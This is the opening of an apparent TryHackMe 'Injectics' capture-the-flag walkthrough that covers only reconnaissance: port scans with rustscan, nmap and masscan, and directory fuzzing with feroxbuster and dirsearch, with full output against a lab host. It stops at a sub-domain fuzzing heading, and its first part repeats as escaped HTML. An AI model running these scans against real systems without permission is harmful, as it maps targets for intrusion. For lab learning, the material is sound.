&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Starting Nmap 7.94SVN &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt; https://nmap.org &lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; at 2024-07-29 12:30 PST
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Initiating Ping Scan at 12:30
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Scanning 10.10.80.9 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; ports&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Completed Ping Scan at 12:30, 0.24s elapsed &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; total hosts&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Initiating Connect Scan at 12:30
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Scanning injectics.thm &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;10.10.80.9&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; ports&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Discovered open port 80/tcp on 10.10.80.9
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Discovered open port 22/tcp on 10.10.80.9
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Completed Connect Scan at 12:30, 0.24s elapsed &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; total ports&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap scan report &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; injectics.thm &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;10.10.80.9&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host is up, received syn-ack &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;0.24s latency&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Scanned at 2024-07-29 12:30:15 PST &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; 0s
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT   STATE SERVICE REASON
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp open  ssh     syn-ack
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;80/tcp open  http    syn-ack
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Read data files from: /usr/bin/../share/nmap
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap &lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; IP address &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; host up&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; scanned in 0.51 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As a secondary check and to also check UDP, I also run &lt;code&gt;masscan&lt;/code&gt; with the command &lt;code&gt;sudo masscan -p1-65535,U:1-65535 -e tun0 --rate=10000 10.10.80.9&lt;/code&gt; but this turns up no additional information.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>This walkthrough is related to the medium level box from Try Hack Me called <a href="https://tryhackme.com/r/room/injectics">Injectics</a> which is designed to test your injection skills to take control of a web app.  Let&rsquo;s get started!</p>
<p>We start with first identifying what are the open ports and we use <code>rustscan</code> which shows us that we have two ports open, being 22 and 80</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ rustscan -a 10.10.80.9
</span></span><span style="display:flex;"><span>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
</span></span><span style="display:flex;"><span>| <span style="color:#f92672">{}</span>  <span style="color:#f92672">}</span>| <span style="color:#f92672">{</span> <span style="color:#f92672">}</span> |<span style="color:#f92672">{</span> <span style="color:#f92672">{</span>__ <span style="color:#f92672">{</span>_   _<span style="color:#f92672">}{</span> <span style="color:#f92672">{</span>__  /  ___<span style="color:#f92672">}</span> / <span style="color:#f92672">{}</span> <span style="color:#ae81ff">\ </span>|  <span style="color:#e6db74">`</span>| |
</span></span><span style="display:flex;"><span>| .-. <span style="color:#ae81ff">\|</span> <span style="color:#f92672">{</span>_<span style="color:#f92672">}</span> |.-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span> | |  .-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span><span style="color:#ae81ff">\ </span>    <span style="color:#f92672">}</span>/  /<span style="color:#ae81ff">\ </span> <span style="color:#ae81ff">\|</span> |<span style="color:#ae81ff">\ </span> |
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39; `-&#39;</span><span style="color:#e6db74">`</span>-----<span style="color:#e6db74">&#39;`----&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;  `----&#39;</span>  <span style="color:#e6db74">`</span>---<span style="color:#e6db74">&#39; `-&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;`-&#39;</span> <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">The Modern Day Port Scanner.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">________________________________________
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: http://discord.skerritt.blog         :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: https://github.com/RustScan/RustScan :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Scanning ports: The virtual equivalent of knocking on doors.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[~] The config file is expected to be at &#34;/home/n3ph0s/.rustscan.toml&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] Your file limit is very small, which negatively impacts RustScan&#39;</span>s speed. Use the Docker image, or up the Ulimit with <span style="color:#e6db74">&#39;--ulimit 5000&#39;</span>.
</span></span><span style="display:flex;"><span>Open 10.10.80.9:22
</span></span><span style="display:flex;"><span>Open 10.10.80.9:80
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Script<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-07-29 12:30 PST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 12:30
</span></span><span style="display:flex;"><span>Scanning 10.10.80.9 <span style="color:#f92672">[</span><span style="color:#ae81ff">2</span> ports<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Completed Ping Scan at 12:30, 0.24s elapsed <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> total hosts<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Initiating Connect Scan at 12:30
</span></span><span style="display:flex;"><span>Scanning injectics.thm <span style="color:#f92672">(</span>10.10.80.9<span style="color:#f92672">)</span> <span style="color:#f92672">[</span><span style="color:#ae81ff">2</span> ports<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.80.9
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.80.9
</span></span><span style="display:flex;"><span>Completed Connect Scan at 12:30, 0.24s elapsed <span style="color:#f92672">(</span><span style="color:#ae81ff">2</span> total ports<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> injectics.thm <span style="color:#f92672">(</span>10.10.80.9<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Host is up, received syn-ack <span style="color:#f92672">(</span>0.24s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Scanned at 2024-07-29 12:30:15 PST <span style="color:#66d9ef">for</span> 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE REASON
</span></span><span style="display:flex;"><span>22/tcp open  ssh     syn-ack
</span></span><span style="display:flex;"><span>80/tcp open  http    syn-ack
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 0.51 seconds
</span></span></code></pre></div><p>As a secondary check and to also check UDP, I also run <code>masscan</code> with the command <code>sudo masscan -p1-65535,U:1-65535 -e tun0 --rate=10000 10.10.80.9</code> but this turns up no additional information.</p>
<p>The following is the output from <code>nmap</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>PORT   STATE SERVICE REASON  VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">3072</span> 4f:83:df:a9:d5:55:b3:31:ea:34:98:fb:f5:e0:22:9a <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqPOQZSovnh3pxFRHXa6RkX7gai5WmUWjASorkjIczAcjN4nm/uO5v7pAliGQIwDWYVwxT5N/ljOrxSwRRGeP0USGCOfMIPdAOEBZ1Qo+CALtu5AO28j3LML7vS0Cot58vUa+tdcSojvDC3HOXQHZ/L4LL6/+qfwCWs6vJgKCrAicaZUsCCAELcGPC7BrO/8EqNmDLrJMzHCzYN7S40aECasUWkw+c9Xa34JgwP06cAX1D5KS5ZYQltZGdwWE/3gd/Yteu18Bi74RPg8q7wQ8MdAhBgwR2iQJHf/0O/r9AZt71MibcG4d7aEy0mssIHuntFAoNGt4GMIpQWKNxK5O6SScbefHFgcwtRJ16z1zG9V5oVIHJPPbj8HQO3U9l4d1VeSA/J3EPX61xqTYD7LJBIM698DRqQZhXccKH+q5wCGlPCceY8YHaYcpK5uWUawR4iSJ5leOAFnvxvC+I563YJaQelCoUxZlnpNX2buwX5GmyVPEW3L6a6Go0lx0LCrk<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 49:73:7a:ea:1b:9c:b5:61:77:a5:db:43:93:4e:d5:de <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9ggiz/fFMOQH2aDEzUrmxXBEf/jqnFu1jyklngh8uVFFA5Vj53VlOMTRwNq1LixIsmZRqLg/y/ppPVD1F1xts<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 9a:2b:f2:75:e1:9c:0c:92:40:ec:f7:ce:2e:64:ae:75 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBoG1H7HSYQ8p47ySJzNSmaVlbryoxclUvDR3su3CAhD
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>80/tcp open  http    syn-ack Apache httpd 2.4.41 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>| http-cookie-flags:
</span></span><span style="display:flex;"><span>|   /:
</span></span><span style="display:flex;"><span>|     PHPSESSID:
</span></span><span style="display:flex;"><span>|_      httponly flag not set
</span></span><span style="display:flex;"><span>|_http-title: Injectics Leaderboard
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.41 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span></code></pre></div><h2 id="port-80---http">Port 80 - HTTP</h2>
<p>We will focus on Port 80 as the most logical attack vector at this point in time and we will kick off some automated scans before manually inspecting the site.</p>
<p><strong>Directory Fuzzing (non-recursive)</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ feroxbuster -u http://injectics.thm -n
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ___  ___  __   __     __      __         __   ___
</span></span><span style="display:flex;"><span>|__  |__  |__<span style="color:#f92672">)</span> |__<span style="color:#f92672">)</span> | /  <span style="color:#e6db74">`</span>    /  <span style="color:#ae81ff">\ \_</span>/ | |  <span style="color:#ae81ff">\ </span>|__
</span></span><span style="display:flex;"><span>|    |___ |  <span style="color:#ae81ff">\ </span>|  <span style="color:#ae81ff">\ </span>| <span style="color:#ae81ff">\_</span>_,    <span style="color:#ae81ff">\_</span>_/ / <span style="color:#ae81ff">\ </span>| |__/ |___
</span></span><span style="display:flex;"><span>by Ben <span style="color:#e6db74">&#34;epi&#34;</span> Risher 🤓                 ver: 2.10.4
</span></span><span style="display:flex;"><span>───────────────────────────┬──────────────────────
</span></span><span style="display:flex;"><span> 🎯  Target Url            │ http://injectics.thm
</span></span><span style="display:flex;"><span> 🚀  Threads               │ <span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span> 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
</span></span><span style="display:flex;"><span> 👌  Status Codes          │ All Status Codes!
</span></span><span style="display:flex;"><span> 💥  Timeout <span style="color:#f92672">(</span>secs<span style="color:#f92672">)</span>        │ <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span> 🦡  User-Agent            │ feroxbuster/2.10.4
</span></span><span style="display:flex;"><span> 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
</span></span><span style="display:flex;"><span> 🔎  Extract Links         │ true
</span></span><span style="display:flex;"><span> 🏁  HTTP methods          │ <span style="color:#f92672">[</span>GET<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> 🚫  Do Not Recurse        │ true
</span></span><span style="display:flex;"><span>───────────────────────────┴──────────────────────
</span></span><span style="display:flex;"><span> 🏁  Press <span style="color:#f92672">[</span>ENTER<span style="color:#f92672">]</span> to use the Scan Management Menu™
</span></span><span style="display:flex;"><span>──────────────────────────────────────────────────
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">404</span>      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">403</span>      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET      161l      368w     5401c http://injectics.thm/login.php
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        6l      263w    18362c http://injectics.thm/js/popper.min.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        7l      683w    60044c http://injectics.thm/js/bootstrap.min.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        2l     1062w    72380c http://injectics.thm/js/slim.min.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      319c http://injectics.thm/javascript <span style="color:#f92672">=</span>&gt; http://injectics.thm/javascript/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      312c http://injectics.thm/css <span style="color:#f92672">=</span>&gt; http://injectics.thm/css/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      311c http://injectics.thm/js <span style="color:#f92672">=</span>&gt; http://injectics.thm/js/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      319c http://injectics.thm/phpmyadmin <span style="color:#f92672">=</span>&gt; http://injectics.thm/phpmyadmin/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        7l     2103w   160302c http://injectics.thm/css/bootstrap.min.css
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET      206l      428w     6588c http://injectics.thm/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      314c http://injectics.thm/flags <span style="color:#f92672">=</span>&gt; http://injectics.thm/flags/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      315c http://injectics.thm/vendor <span style="color:#f92672">=</span>&gt; http://injectics.thm/vendor/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span><span style="color:#75715e">####################] - 3m     30013/30013   0s      found:12      errors:0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span><span style="color:#75715e">####################] - 3m     30000/30000   198/s   http://injectics.thm/ </span>
</span></span></code></pre></div><p>In addition to running FeroxBuster, I also run <code>dirsearch</code> which has some good default settings just for additional validation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ dirsearch -u http://injectics.thm
</span></span><span style="display:flex;"><span>/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
</span></span><span style="display:flex;"><span>  from pkg_resources import DistributionNotFound, VersionConflict
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  _|. _ _  _  _  _ _|_    v0.4.3
</span></span><span style="display:flex;"><span> <span style="color:#f92672">(</span>_<span style="color:#f92672">||</span>| _<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/_<span style="color:#f92672">(</span>_<span style="color:#f92672">||</span> <span style="color:#f92672">(</span>_| <span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: <span style="color:#ae81ff">25</span> | Wordlist size: <span style="color:#ae81ff">11460</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Output File: /home/n3ph0s/Hacking/Machines/THM/Injectics/reports/http_injectics.thm/_24-08-02_11-38-06.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://injectics.thm/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:06<span style="color:#f92672">]</span> Starting:
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:19<span style="color:#f92672">]</span> <span style="color:#ae81ff">301</span> -  311B  - /js  -&gt;  http://injectics.thm/js/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.ht_wsr.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess.bak1
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess.orig
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess.sample
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess.save
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess_extra
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess_orig
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccess_sc
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccessBAK
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccessOLD
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htaccessOLD2
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htm
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.html
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.httr-oauth
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htpasswd_test
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:22<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.htpasswds
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:38:25<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:07<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -   48B  - /composer.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:07<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    9KB - /composer.lock
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:10<span style="color:#f92672">]</span> <span style="color:#ae81ff">301</span> -  312B  - /css  -&gt;  http://injectics.thm/css/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">302</span> -    0B  - /dashboard.php  -&gt;  dashboard.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:20<span style="color:#f92672">]</span> <span style="color:#ae81ff">301</span> -  314B  - /flags  -&gt;  http://injectics.thm/flags/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:28<span style="color:#f92672">]</span> <span style="color:#ae81ff">301</span> -  319B  - /javascript  -&gt;  http://injectics.thm/javascript/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:29<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /js/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:32<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    1KB - /login.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:33<span style="color:#f92672">]</span> <span style="color:#ae81ff">302</span> -    0B  - /logout.php  -&gt;  index.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:34<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    1KB - /mail.log
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:45<span style="color:#f92672">]</span> <span style="color:#ae81ff">301</span> -  319B  - /phpmyadmin  -&gt;  http://injectics.thm/phpmyadmin/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:47<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    3KB - /phpmyadmin/doc/html/index.html
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:49<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    3KB - /phpmyadmin/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:49<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    3KB - /phpmyadmin/index.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:56<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /server-status
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:39:56<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /server-status/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  278B  - /vendor/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/autoload_classmap.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/autoload_files.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/autoload_real.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/autoload_psr4.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/autoload_static.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/autoload_namespaces.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/composer/ClassLoader.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -   12KB - /vendor/composer/installed.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    0B  - /vendor/autoload.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>11:40:11<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -    1KB - /vendor/composer/LICENSE
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Task Completed
</span></span></code></pre></div><p><strong>Sub-Domain Fuzzing</strong></p>
